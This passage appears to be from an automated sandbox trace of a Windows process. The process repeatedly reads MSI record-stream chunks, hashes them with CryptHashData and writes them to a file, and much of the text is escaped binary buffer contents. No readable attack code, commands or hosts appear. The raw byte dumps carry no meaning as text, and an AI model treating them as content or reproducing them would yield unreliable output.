szDataBuf="\x92·×I\x80\x1f\x9d&\x9a\x11\x83ùÃC\x08¾&\\\x94s·¸\x19\rò$ßÃÔKè£áÄK\x1cÉ\x81¤p\x91ÙF\x8a*F\x98ÆÒ㯹¥\x06µº:/\x900^\x13³\x8cì[=t\x8f®»:§\nûV^Ø\x07àm\x14{Vê.P\x1f4-\rëa}\x84|\x98\x19>…\x1dÑá\x10ÌÝ8=\x04\x1dÿ\x01\x9d7v3~\n÷\x14Y\x07e\x8aÿ''«z7ûÌ\x86Í\x93±\x144Z\x10e{c \x89\"Iuzc\x82<\x1d\x9fD`XZÔ\x86Ý\x065S\x09\x83\x94yß\x87\x94¼C§·4\x8aÎ:Nx\x82\x8a¦~\x1dÑõ\x0cf\x03\"\x90ÔÕ\x04½¼¦…iÐ:\x83(:\x84»¡2\x1aa\x027/\x0f¯¤²ñ÷2ð\x88uI>\x812T…ñ\x94\x189\x16ît\n\x901ØòYõè^\rirgþ¦Ò\x08±ì!ªAâÅç}nîS1¼D5\x1a\x8f\x8aÝò\x14FmB°~ÇnµtËÜ\x84Æ/,\x96©¶9®«é·BCØ\x05cHÑa\x03Å·LiÙ0£5\x91R\x10F6sº@$\x98Úÿ´; `)bÞ\x81\x94ük\x80¨WJ\x05oð«Ó~Bu9z±Uà\x05[?wß\x83\x1c\x1fâ·b\x1d»N\x05\x1a\x896 \x89üm¤\x1aÈB#\x0fè\x97a\x15-¤…\x8f\x1a gR\x94o¹u,\x1e\x03N\"PòE\x08vðª\x92\x18ษ@¤VÙ\x15\x06Ó\x9c\x81k¦\x07\x06vQF×Ç\x8d¬2\"\x9eÎXE8QºnPqVÊÚ<ø\x90µêµ\x98\x13ë\x10tÒª\x10Nn\x14¦\x91K\x8f¤~W\x97\x81ÃFlZÓ1ÏÓÒ\x05ï\x1fb¼£xÄkiË-Ó6\x0câÎb+\x0bÚCÔ̶1\x1c\"\x93g¡\x17lj\x9bÏC\x8aCÑ'Éû\x96~\x09\x91̪²ëý:T¬9ÜöjM¥t\x84\x9b\x89\x19å\x89\x0cÍ\x9c\x94nñ\x95Xg0±]\x05ê°EÈÜÿi\x7f»@:õÙª\x88Ê8°\x9dw(Ú\x8aæT\x10ÅéÈ$\x97¥¬\nØ=¦+\x97\x0c\x9f`üÁ?¥\rR(JìþÙ @òüÌ\x95x\x14NöØ\x1e\x10­ÇWÍB\x0e#ãtÊ\x1d,\x1ez¨²Áq¹»Üë¯b\x83±\x8aC²\x12…\x06P/\x98tyäs\x01n\x8d\x040…\x0cëµi®AkD[m\"mÞv¨VVöÄËW0°M\x98È^\x9bÍÊ\"\x93P)±h]º§ÖõÓ\x1c²)R\x96\x06tÃVQÅÔÊjö§·µ\x06\x02qÍ\x9bßj\x8b\x89,«FåNH\x8cá\x818Á/Á/÷Í'ÿÊ\x1eFY¢P …r[\x13í\x0f\x1f\x15ÂI\x02È+\x99U¢ÈÃ\x14ÇC+\x1c\x18æQ\x9bä)Á\x15kÝ\x84f\x18è4¯\x0f»Yøó(¡f-L\x8f#\x1cL'\x1eTFSå_Ô\x1c|Ü34Î ½·]Ï'fþÂ\x0f<\x08S b\x19ø\x95·æÏ#åôn\x08¼OFDÁÛT|Ð\x06}©zt\x10¦C\x1bp\x02o]\x1d*¢Xu1D\x16\x8a;9q\x08Fp,F^\x03½\x9a6ÑÀ4\x87°W ¬#Ls\x8dÄc\x89\x98\x8ba®)ñÃöÛ\x7fê:Ò\x84µ±YÜ\rË\x97\x11xá½\x0f3,\x81\x0fÈâØÙ1¥3d¢NßG§§£>;à߳ߨ.p\x10<\x96ê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.292] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.292] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.292] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="7yðTÕ¡®o2\x1be\x87»\x098Ä)\x9eSÝW\rµ²\x1c\x19\x03û\x1aæ=¯\x82,aãf\x97~¦øc`±&¤\x18/þr\x86£¨Á»$\x18Lvã{vU'69»\x14=Ä.\x89\x8b&ÌÅxZ´Ågb i\x95Ñ(\x1b}/°\x81Ð!yÚtê6-m×q¶ðÁ%¸ª\x99³ÔvÙ\x0bµ\x09\x92Q=k² ±$ëe[´\x8fÙMã\x84\x84\x8aËüäê6\x16$§¸zÓýb\x82¢Jº¼C6ý\x98ÿZå,\"ÞÎx\x80\x81®^M\x11{åÇó-Û\x1bÁÿö&w7Énl(\x01çÅÜ4\x19oóñ-\x86\\Ðh\x18þ\x8bGæ«gf\x02@¨\x08", pcbDataBuf=0x21df03c) returned 0x0 [0147.294] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.294] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.294] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="P\x13â¨8j\x8c§\x80Á\x81ãÀN\x19oÊcÙ\x97 YuÑF>C³µÚÑæw\x1d½Ñ.\x9a\x971ôbzx#*nc\x8cÆ\x7fîªoîÖ&B± Î)\x91Â\x83\x07l\x86ت?Í\x91É;*u×Õw\x04Êu…­ì\x03ó{Ú\x19\x13ï\x19î\x0f\x11Ø_Àÿ\x88Óg,Îu\x14$n Ð\x1b\x9fî\x81ì¼\x9e4¢ñóî\x04Aêò-\x9dâz\x11\x01ÔïÝ\x80²æ<-d)»0\x03\x9fI\x16l±f\x97®1D4\x9a\x80¶$\x92Öa#\x89\x10\x09\x04Ñ\x09ÇØIÈE\x07\x97ãCr\x9b1:æ\x8bøÄ\x10\x97Fu\x14>\x7fX\\-1ß«…¦å,ë¦íê=GX\x89ßW=å\\h\x97 \x1fKrÌêÐ\x9f?$^'jæÕñóë\x05)÷ï*<}fb¿Ï \x01¹/$\x10U.\x0b\x15Ýæ\x7f$s\x80Hø\x17v\x9d\x82a\x10C«\x13\x80cE:\x1d\x82\x17¨u\x0e\x97>+ÛWíMF>\x80~YÅ+¾\x95 c«\x0e\x18\x88ݸmL\x1fg°\x9e~Ã$´äumì\x93§\x09@\x87\x92eüJ¥:\x83Ùç±\x03\x1aÍZ\x8a\x11¹=\rõ\x8f56#Å\x8ac\"ÆìãøĨûoTN\x1b\x82\x14^¦)TÿzÏ·>yf»\x86³R­èEL\x8fî\x12\x13\x02|:iÐV}GÓq\x07\x07$'>i!\x87­Çr$¹ðQ¢Uh\x84¡ÐUº\x9b,¥\x13é²ß\x09¥\x09«[TÞ\x13\x9fÍmòj\x02Ái \x988%±¨Û\x81>_ÙB\x97õf\x1e¡\x9dFÃ6;Ñ\x1d\x89óî\x10Ý\x02Ö\x02\x0bn²)Pì£0rμÊþF°<\x19ß«ö\x03oZåCI\x9cýsï\x17\x8c$D¯hÆ\x1a \x9e)\x09ª\x9bß\x0b\x8bz¢yZ\x0f\x973\x0e|QM\x02Ô\x83!9 ê\x15÷\x98¯îf7y\x19Àü(\x8e¢1!\x8eË\x96tV\x7féIO²¿t£¶½¶j\x96ì\x86êÀ\x02Þ\x7fLyÏ\x88ùo¢Ã\x0fÜK»\x1f {a³\x04G\x1e;\x18'ÐËÊïÑ@CÀ˅ÿ)#|\x17Q\x09á\x92\x1b\x0cÿ`dkÿ\x16\x8fEù\x95_Øúsç\x02\nÌ,hÁæ\x1fdxÅmú\x0cäÌ°,¿þ·\x0b£H…\x1dgs\x99Oþ\x05`\x88¡üÜ\x16µo\x99=`uQDÇà+Äýì\x01?y:![yb\x84\x0b\x9a\x9döîíL-·ïØ.\x98ê5)@pô\x1d\x02Üm t\x03", pcbDataBuf=0x21df03c) returned 0x0 [0147.295] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.295] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.295] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="!%\x9a¹\x1eìÄ\x83·¶±£T\x84EÕÁý6\x9a+¿Á± GÊ&ÉF!\x9a¨\x94v\x8f>\x0eåÿ¤¬X\\ÄpmWCÒg\x05÷èªZ\x93\x1fNîIØ\x95[Ü\x15¹\x80\n\x16í\x9aÞªa\x06È/M¥\x1a÷j\x8eLîÏ\x06C\x04\x1f\x92\x08ÚW- \x18\x06\x8b\x10Ì\x15\x14\x10ÉAK=°úÂ\x19ÅË%:Ê\x87\x908o[\x1câú$$oܦ\x02\x06\x99\x8clÿÛsÙ*dCqM[\x9a>;³\x80ò6èäO\x17\x08\x880B}7à~xfʬ³Íø®8\x8c\x8dE\x04YüLÛ\x81.¡\x80\x88öxÞ\x86®?mW\x0c\x92Þê\x96SÙr%ü\x9eïY`\x04+\x8dýý·\x032qÙ+¯\x9aÇÒót\x9cø)\x8d\x17\x96Ê-Ï.ÝZÁ)[VZ3æ.ö}\x84Æ\x14*\x9a¿Üìm§\x98HåÜgäf±ÎdêU\x9dHx<7¦zßÆ3\x86ÈÓ³Ä6Ñ·a³\"éÒ¼t\x8aófX\x9bs_'%\x1a\r(0G\x9a±\x8e\x04eß\x11\x87°¦\x896F\x8e¤×o\x83§\x91!\x8f¥ÝûmA\x81_&³\\ª\x9aª\n\x99´\x11\x8d^u¢7\nl>\x9e3É\x1aÈ£6¸\x9bØÕ\x9b~¢MW\x16Ñ˨5s\x0fk\x9f\x1b½\x8c\x02\x83é\x11ÈCx\x88q°u÷\x16Ï}ª¦'g\x03\x812P&øf\\0LP×öùpd2åÄWZqH\x12\x89¨;_\x80ä\x1dª\x8dľä\x1eÎþ\x87l\x04kË÷Ý\x9c\x93\x19T\x12Ó\x16r¨G\\f½êÝD$\x96/\x8a\x8f\x8fi\x08x\x02l¹ûÃÚzûñç…\x81\x11\x15\x13|{ÈÈìuá8Ó\\\x92óa¥çÏ3#\x1eT_OãýÈ Üôò\x0c\x08\x18Þ9\x01öGoOøîXãBk+s'êêÞq\x81ad^\x06^Üt\x17¨BY¡<ú8¦\x12ÂwI\x80\x07õ\x88 þÛJý\x80\x83\x8ao'ÄÃDü\x18\x9dÆ\x1búâÚc§pøCÐR\n&ê=\x99¿rC´\x8a\x90e[¤", pcbDataBuf=0x21df03c) returned 0x0 [0147.297] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.297] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.297] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x0e\x1bâväÔ\n>\x84\x99ã\x92\x9d\x952\x92\x0f\x93¸Ié¯ÅL\"¼3>ÎK\x82\x16\x1c=^!¡),\x823\x96Þ\x91·áÐQ^\x04Ã7<Ðä\x83NÌ\x95Q\x93\x9bö·´\x12¹2\x15\x89©h2¼=\x01æ)\x14`íÔ\x83¡!\x8d¨f\x13gÕï\x0e\x1f%¥)ýÚ<+\x11sT\x0eé3¸uOÊ\x1dì÷ 7\x96§ê\x13\r¥§-ÄÞ\x92%fb¹Qúð@ý\x03ÒDìHÅML\x81{çÒs~\x9b\x88æÃ'\x83\x04Ì\x80Qº\x8c\x8cÍ<$´n\x0eÈ5fzi¿C\x1c)·\x10÷ÏË\n:Ó`\x8dºøQÔ¸ßwì¹\x12\x13¹\x1beÝ\x86\x1c\x93\x1dÎ\x96\n±ºõúf¸¾®ùDÙn\x94\x16|O\x81¹\x98ët\x10«^A\x93ìjè\x81¼Ç\x16LªËnM\x17Â\x1cdzÅNe:}×ÆE%", pcbDataBuf=0x21df03c) returned 0x0 [0147.298] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.298] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.298] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="à\\?÷\x19\x08\x0e¹n.+\x0f\x8c~\x05\x9f¢Û¨c}dF\x1f#9Ýó\x02g\x1a\x9eD…ÄB\x7fh\x95dH×ïu*½\x90g\x90Å#Þåí½¾¬R;¹ç,Me1 û4äÃNôÕU¨9ÓÓ;\x17X\x91\x0ep·Rr©-¶\x8cà\x04Ñ»\x9e1¥\x89#Ø~Ç8Ð<\x9aèÌ\x07¹\x09ä\x81\x8cÏ\x06\x15%X,í\x0f\x8f\x9a¿¤\x82q\x06yJy\x94{+\x17©K\x82º\x8b³\x98æ\x83\x03jä\x11\x86t\x7f\x14§5)1\x07\x93~øR\x97Cîï\x99{Ã|.°¼¾K;)ófº\x88sÎ\x02«>D\x1d\"Â\x82¢d±ßI\x16ï*é\x89B%qéåÚ\x87\x02ª\x15\x95[³¾'yÎ7Q~#¿p\x86P9I\x0c\x82\\£\x89\x98\x17ø÷\x16iø", pcbDataBuf=0x21df03c) returned 0x0 [0147.300] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.300] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.300] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="øt{qöf\x11ô\x95HG2?¶\x93Ût\x9d®åæ\x04ô\nÊÝW¥\x8av\x1dªwð¡:u\x10*\x1bö%\x1e\x98\x9d¦c\x95\x81àª\x03a¾7«*üa\x19{\x89[˲\x9e:", pcbDataBuf=0x21df03c) returned 0x0 [0147.301] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.301] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.301] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x15~\x96Ë{Í¥ \x19ý\\¯\x15\x1c´á,Z³á\x83\x9d?ÿ\x8b±s²+;ÅK\x81²\x90±ESgzùã`\x06â¤Î4\x92&Ü%\x19\x05*3;ùÞæIÀ ås ÚÕ3Üè\x94\x8eß\x8e7¤_}8EI±·p\x11\x0f\x08,a\x87VF^ä\x18©-Ϩ\x8f¥\x1dØMWè1Á±ãÂ'", pcbDataBuf=0x21df03c) returned 0x0 [0147.303] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.303] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.303] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="}f<\x1aÞð}&\x17è-¢òò6Qy\x0eI\nO×\x9eïËEac.´¹Râoo$ÐW\x19\x11", pcbDataBuf=0x21df03c) returned 0x0 [0147.304] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.304] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.304] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="î\x07\"\x9e\x01Rq\x0e$Ä<\x90\x0b&\x8bS)\x17\n|w\\µ½P\x04ȼ\x05r¨\x0c4|\x92oÂ&\x99C\x1emÒeÁUþ¤£\x96ÂmÉxõ\x82,\x8cv\x84rBg_K#/\"l´S\x9ejda'Qi½b F\rØÍ\x13. 6\x08Y\x98½\x8bænw©©;`Ρâ\x9câí%mÑ=¤ÿ²Ý§\x1aNKJ\x02ùV\x87cb\x8c·¹\x1bÜA@«´J\x06tH\x9bãk½\x99\x91ã\x17ÚÇf\x1d)ú\x1d]\x9bÆùm\x1f\x98l\x97#ÃLkøYR×Í\x0b\x16D¢Ç¢ñÚÂi¬\x9e$\x8bE\x95ð5\x94Ù°!g\n \x1cyÇn1ù$»\x02ö6\x87DÉ[\x07\x95Þñ¿8G|uíC\x81ÎË\x05\x86\x92-\x0eGû;uê\x02\x95Öü\x91Úc\x81X\x88ÜíúÏ\x89\x07øV\x93\x0c\x8cMØÅ(óã%Õ°\x91…\\|w&\x02\x92¿â'\x02Ê\r\x899\x83zPÉ1Ý8\x1d}\x13´Ü,r-\x93õ\x1d¼\x12W\x8acÆ\x92DÍF\x82õh\x1c\x11ìux\x8bÖëÈ\x88\x88²ËIÑuN\x1fm\x96\x01l(\x03ýt\x8c\x1aDFð ì÷t\x13,\x12\x08±ÅF.¤å~¨\x7fhØ\x7f\x8byÞ¿¥g\x15êêÕ 4¹dÌ:tú8&\x86O\x8a\x1aÕ¾ñ\x8f\x94\x15À\x1a\x1f\x99³+\x8d@Ö ì6(èô©\x88Âl\x9f¶\x99\x7f¥«\x18f´¶§\x8b¢OO\x81c\x8d$ëYe+ÒG佫àdI\x86wØ\x1c\x02?,0G\x9fû2ú4îºZ°=( h=Êíßa{ \x8677\x17\x83& ºD\x1d\ró\x0c\x12W]d\x1f\x0f\x7f']ü\x17a'¹ði<¦{*8²æ\x958Þ\x03\x19I\x83l$à\x92#Ìút\x11oo\x8c\x9a¶¼Ø]_\x10$cØÔwù`5Õ\"aF\x84\x17A¡xstÔ\x87Âû¤;öÕ62áXDg[\x03ú>z!Üe 4¯ÒÃ\x07\x89|bÕ/XîîWiÒíºdÅ\x19ÔÏå«\x06\rË\x19\x8fbÞÞ[\x1bÞh\x0eaÁ]V\x8eú\x0e¡Ït°§\x18fÖR¨°þ²];Ú<üÖ:s\x015|Bnú°Hî{\x15§\x8d\x09ä\x87é¡ë`\x9aùU¶ècÙK\x84§ÎJ#26ÃEUHr\x12v$k±\"Z\x92.ÉTúd\x95ûJ»¦*¨8;\x18§\x03æUñÙV\x1fe\\çꫪ\x02\x90v]\n\x93\x88®\x86f¼\x9eÙ­ä,à\x17;p\x8eÁMEsõa´\x11Oêê\x94UVá@\x17×»`\x92ÞßÔUJêÏßHÜ\x11~æ\x88ÀÐ\x13\x9e\x9bU¶×\x82\x93Õ\x819Me\x9b\x0cB…öñ¸ ©Íÿ¦fMÀºIJ\x95×ÓõÃpx\x9eç2\x86\x96$(ÅÚµ9y6¼ \x1dÈ\x94U\x82E$Îó@\x9elùî[ÄÇ\x1a\x94+j7ë~\x03~­\x97v\x11\x98Sý\x9b[\x0b¹n7\x0b\x06è¡\x11;R\x95ñjíûáè\x94çû±{â¸\x9fxm§é>Ó²{\x07\x9bI\x06¬ñ(¦¡-R\x9b!é\x87¤qG\x7f£\x17²\x1eCõþ\x98¢\x86Ô¤Sj\x9c\x0e¡}é\x91\x0b\x9c¹9³\x8f\x0b«+\x95vË", pcbDataBuf=0x21df03c) returned 0x0 [0147.308] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.308] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.308] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ó¼-\x8dàÐH\x15\x98\x10*\x80<·Å\x03ý\x03£tí\x01)òû\x92<\x08wúÚ­\rÈ>\x06Q\x15Xb\x8a°àïT", pcbDataBuf=0x21df03c) returned 0x0 [0147.309] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.309] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.309] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="ÃD¸,·-ÇÕ\x86\x8c\x10B\x8cÝã½Iw\x01©w\x86md\n4·#\x7f È\x08y=±ëKB\x8e\"§¬\x11lõ\x1d×á9/­\x083Øt»ÞXië\x1a(B64Ökr", pcbDataBuf=0x21df03c) returned 0x0 [0147.311] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.311] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.311] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="&\x1fú»Gzwæçm+OÍÔ{¢M\x1bMî\x0cf.r\x19Û\x93ê\x90Cð\x15zQÙ\x96÷0\x13Ùù9\x17´¦\x07õ\x86r±\x8b\x86\x89£«{Ùö\x18ç\x83-0%åîX\x01¡1£\x95*\x98Y¨­{ï\x1e\x1bØ\x8d¥g\x17õ\x99\x0ba\x89ÏÊÀ:çÚp\n\x15o±\x9eñû\x0e=(\x18\x80\x09Ú3^jmV\"½¤q\x9f\x8f\x1f\x0c³>¬?CJTu\x1fQÄTç…\r°#w\x12º|ÿ\x15)\x95²1J\x8d\x88Uâ«7QË\x9c\x11Y¨ò\x8a7ú'l}\x93ãEX;¶\x08­i\x06\x0b\"5ë[ß\x1fQ]¢BïZé\x1f\x90\x9d\x861[d/n\x1b\x9dÛ0rì\x7fêúQÖa\x0e5á\x9bcL8fÖ¡pùd£4£\x90\x9d·h\x8eõ8¡Ñ\x11Ê\x8a\x82Q\x1f^@\x82|^à\x13þ×nV\x05ºôrD\x80\x9d:#ne\x1bÏ*\x05Gä\x10mR)Ç\x0cA\x815ü@l \x97\x17ïJ8\x98ç\x97\x87ÅÁ5w¡\x95ôÅ\x14§FûYVO\x82*½é(b\x9a]íৣC1m·Ìf¯\x12\x1a,À\x8f\x02ÉFØ\x87ìo\x18\"¼\x92¶W\x95U\x0cÿ¥3Hâº2.ÇÕ\x0fæ\x94Øiêx%\x01\x9aÞíò¤¶»", pcbDataBuf=0x21df03c) returned 0x0 [0147.312] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.312] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.312] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="\x9a\x0e\x86Ð\x1eÆ2ÜÙýÆ\x06\x9dç\x8eð÷\x94ë\x1c", pcbDataBuf=0x21df03c) returned 0x0 [0147.313] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.313] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.314] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Þ\x10\x08\x88\x81\x99\x86áImæ¾\x1e\n(0\x9cöæ(±bÔ¶¹\x9fÞ\x12áB~¥`÷\x08'äÚfOÕ,É\x96\x89Y1ðµN{=L\x97GâpYN\x11\x0e\x8cÁ#È Æ\x1bm¶xßï\x09\x94¥\x09\x9bý\x98¹\x0c}Q.2I\"[`\x1bcT\x05M½±n\x87Ïe¹\x8bà\r1Õ1°ô\x94´ÂÊ+\r1\x01y:s6\x08~\x8b'\nó[·\x9d¸\x91ÏáÒh{Î!æüí", pcbDataBuf=0x21df03c) returned 0x0 [0147.315] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.315] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.315] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="Ö\x16í 4¶M\x10ªûÔs¹\x96S\x83ñó\x13ZcN\x83\x7fÜÛy³ï/\x19\x08®UO\x11ª\x09?ÏÊJ\x8f\x8b\x8d\x95Py@\x88C?\x15=ÀÚÒÒ\x10Vk<\x86\x90Î\x05¤\x12Õ¥= úx\x84=<#§äèF¯Ì\x82/\x04 ¡\x0b\x05½Òq&¬iR\x09+ÍE°Ë7\x19Y\x86ªÒÔÂL}#(D1\x1cÓ\x92Ó\x8dï\x09¶\x99û§\x10VϽâ\x14\x16Q", pcbDataBuf=0x21df03c) returned 0x0 [0147.316] CryptHashData (hHash=0x5f66b8, pbData=0x21df050, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0147.316] WriteFile (in: hFile=0x180, lpBuffer=0x21df050*, nNumberOfBytesToWrite=0x3e8, lpNumberOfBytesWritten=0x21df030, lpOverlapped=0x0 | out: lpBuffer=0x21df050*, lpNumberOfBytesWritten=0x21df030*=0x3e8, lpOverlapped=0x0) returned 1 [0147.316] MsiRecordReadStream (in: hRecord=0x1f, iField=0x1, szDataBuf=0x21df050, pcbDataBuf=0x21df03c | out: szDataBuf="<=\x98D×\x1bo/\x86>®M0\x96VþÂ?\x82üI_\x81½±NpB\x03\x93\x95+wâÄ\x9c¶4>ÁûÒ\x82Õ¬±síXähÇ\x81\x1fAV\x04í\x18'A¶]\x95òÚ÷i\x9e\x94Í]»M4ôØPJkjù;\x82@\x06\x8eq\x8a©\x9f\x09\x905\x98{j@\x97#\x11\x1b:ÀGb`9öØ\\Õ\nR\x81{ú7M\x09tí\x80÷Få\x13\x1f\x13Rbm\x19B.nÖ¦H\x0eÜïW'\x1bÞ\x89°\x8em=\x8b…6Û\x1d\x90MtË7À\x02éem\x17\x10\x81\x9ayfY\x17AÜôJ«\x91­;Èf­\x08,Øs7Ã$K\x86\n\x05ã\x08\x1a\x83AJ©m9î µbÎüóõâ\x06'§_RzÙd\x18e9qd\x1f\x07®0\nÞ¤\x9f×\x11\x80£+ñc&\x8aöË`/\x1f\x0c\n\x0fbHcñ\x888Ó×É.\x14P\x11«zX­\x80\x89A\x1f¶\x8cCHA\x1b\x06\x0b,…\x89\x04\x8aÏvïo}³¼Õo\x84Ò5\x1d(\\¾(þa=\x87\x8b¡5ñY}\x06\x8e¯øx¬\x91jØ\x9bÁî'M0ÿ©(uA¢É\x19Jæ9DZU\x80y^ïy3\x05\x90\x10\x93{tV§\x8c+øº«¢)¢q\x03mP\x14éµ\x9fEcóìfãV", pcbDataBuf=0x21df03c) returned 0x0 [0147.317] CryptHashData 